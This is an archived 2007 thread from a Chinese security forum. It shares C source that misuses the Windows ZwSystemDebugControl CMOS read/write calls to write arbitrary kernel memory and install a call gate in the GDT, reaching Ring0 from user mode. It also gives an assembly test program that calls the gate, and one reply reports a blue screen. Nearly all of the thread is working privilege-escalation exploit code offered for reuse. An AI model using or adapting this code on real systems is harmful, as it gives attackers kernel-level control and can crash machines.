邪恶八进制信息安全团队技术讨论组's Archiver

zjjmj 2007-7-1 14:12

[原创]利用NtSystemDebugControl进入Ring0的源代码

文章作者:zjjmj
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

Sorry,2004年的东东现在才发,呵呵!希望还有人能用上!
[code]/*

* Discovered and coded by randnut Jan 25, 2004

* I just add my callgate routine, hope you enjoy it, hehe. ------zjjmj2002

*/

#include <windows.h>

#include <stdio.h>

typedef int NTSTATUS;

typedef DWORD ULONG_PTR;

#define NTAPI __stdcall

const IA32_SYSENTER_CS = 0x174;

const IA32_SYSENTER_ESP = 0x175;

const IA32_SYSENTER_EIP = 0x176;

const SelCodeKernel = 0x8;

const CmosIndx = 0x0E;    // CMOS Diagnostic Status

const RdWrIoPort = 0x80;

#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}

#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}

typedef enum _DEBUG_CONTROL_CODE {

DebugSysReadIoSpace = 14,

DebugSysWriteIoSpace = 15,

DebugSysReadMsr = 16,

DebugSysWriteMsr = 17,

DebugSysReadBusData = 18,

DebugSysWriteBusData = 19,

} DEBUG_CONTROL_CODE;


typedef enum _BUS_DATA_TYPE {

ConfigurationSpaceUndefined = -1,

Cmos,

EisaConfiguration,

Pos,

CbusConfiguration,

PCIConfiguration,

VMEConfiguration,

NuBusConfiguration,

PCMCIAConfiguration,

MPIConfiguration,

MPSAConfiguration,

PNPISAConfiguration,

SgiInternalConfiguration,

MaximumBusDataType

} BUS_DATA_TYPE, *PBUS_DATA_TYPE;

// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of

struct MyCallGate
{

WORD   OFFSETL;

WORD   SELECTOR;

BYTE   DCOUNT;

BYTE   GTYPE;

WORD   OFFSETH;

DWORD   CodeLimit;

DWORD   CodeBase;

};


typedef struct _BUS_STRUCT {

ULONG Offset;

PVOID Buffer;

ULONG Length;

BUS_DATA_TYPE BusDataType;

ULONG BusNumber;

ULONG SlotNumber;

} BUS_STRUCT;

typedef

NTSTATUS

(NTAPI *PZwSystemDebugControl)(

DEBUG_CONTROL_CODE ControlCode,

PVOID InputBuffer,

ULONG InputBufferLength,

PVOID OutputBuffer,

ULONG OutputBufferLength,

PULONG ReturnLength

);

PZwSystemDebugControl ZwSystemDebugControl = NULL;


int CmosRead(int offs, BYTE** ppAddr = NULL)

{

BYTE buf;

BUS_STRUCT bus;

bus.BusDataType = Cmos;

bus.BusNumber = 0;

bus.SlotNumber = offs;

bus.Buffer = ppAddr ? *ppAddr : &buf;

bus.Offset = 0;

bus.Length = 1;

if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,

NULL) < 0)

return -1;

else

return ppAddr ? 0x100 : buf;

}


int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)

{

BUS_STRUCT bus;

bus.BusDataType = Cmos;

bus.BusNumber = 0;

bus.SlotNumber = offs;

bus.Buffer = ppAddr == NULL ? &val : *ppAddr;

bus.Offset = 0;

bus.Length = 1;

return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,

0, NULL) >= 0;

}


int WriteMem(DWORD MemAddr, BYTE Value)

{
int OldVal = CmosRead(CmosIndx);
BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
CmosWrite(CmosIndx, Value);
CmosRead(CmosIndx, &p);
CmosWrite(CmosIndx, OldVal);

return 1;
}

int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)

{

TOKEN_PRIVILEGES tok;

tok.PrivilegeCount = 1;

tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;

FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));

FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));

return 1;

}

void CallGate()
{  

MyCallGate  CallGate;
DWORD    GDTBase;  
  _asm
  {      
    PUSH EDX
    SGDT FWORD PTR SS:[ESP-2]
    POP EDX
    MOV GDTBase,EDX
    MOV CallGate.OFFSETL,DX
    SHR EDX,16
    MOV CallGate.OFFSETH,DX
  }  
  
  CallGate.SELECTOR = 0x358;
  CallGate.DCOUNT = 0;
  CallGate.GTYPE = 0xec;
  CallGate.CodeLimit = 0xffff;
  CallGate.CodeBase = 0xcf9a00;  //Build My CallGate
  
  WriteMem(GDTBase, 0xc3);
  
  GDTBase = GDTBase+0x350;
  for ( int i=0 ; i<=15 ; i++ )
  {
    BYTE p;
    DWORD *q;
   
    _asm
    {
      LEA ESI,CallGate
      ADD ESI,i
      XOR EAX,EAX
      LODSB
      MOV p,AL  
    }  
   
   
    WriteMem(GDTBase+i, p);
  }
}

int main(int argc, char* argv[])
{
  HMODULE hNtdll;
  FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
  FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,
"ZwSystemDebugControl")) != NULL);

  HANDLE hToken;
  FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken));
  FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));
   
  CallGate();
  return 0;  
}[/code]

zjjmj 2007-7-1 14:14

下面测试CallGate是否生成,生成后喇叭会响一响!
[code].386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
szExceptionCaused db "Exception Caused - could not switch to ring 0",0
szError  db &#39;Error&#39;,0
MsgCaption   db &#39;Test&#39;,0
MsgBoxText   db &#39;cr0=%8x&#39;,0
tmp db 50 dup(90)
Callgt dd 0
   dw 353h

.code
ExceptCallBack PROC
invoke  MessageBoxA, 0, addr szExceptionCaused,addr szError, 0
invoke ExitProcess, -1
ret
ExceptCallBack ENDP

start:
push offset ExceptCallBack
call  SetUnhandledExceptionFilter
call  fword ptr [Callgt]      ;use callgate to Ring0!

Ring0:
mov eax,esp  ;save ring0 esp
mov esp,[esp+4];->ring3 esp
push eax

pushad
mov ax, 1000
mov bx, 200
mov cx, ax
mov al, 0b6h
out 43h, al
mov dx, 0012h
mov ax, 34dch
div cx
out 42h, al
mov al, ah
out 42h, al
in al, 61h
mov ah, al
or al, 03h
out 61h, al
l1:
mov ecx, 4680
l2:
loop l2
dec bx
jnz l1
mov al, ah
out 61h, al
popad
mov eax,cr0

pop esp  ;restore ring0 esp
push offset Ring3
retf
Ring3:
invoke wsprintfA,addr tmp,addr MsgBoxText,eax
invoke MessageBox, NULL,addr tmp, addr MsgCaption, MB_OK

Exit:
invoke ExitProcess,NULL
end start[/code]

g0ug0u 2007-7-26 11:09

我在繁体xp+sp2+kav6.0下,蓝屏了....

页: [1]
© 1999-2008 EvilOctal Security Team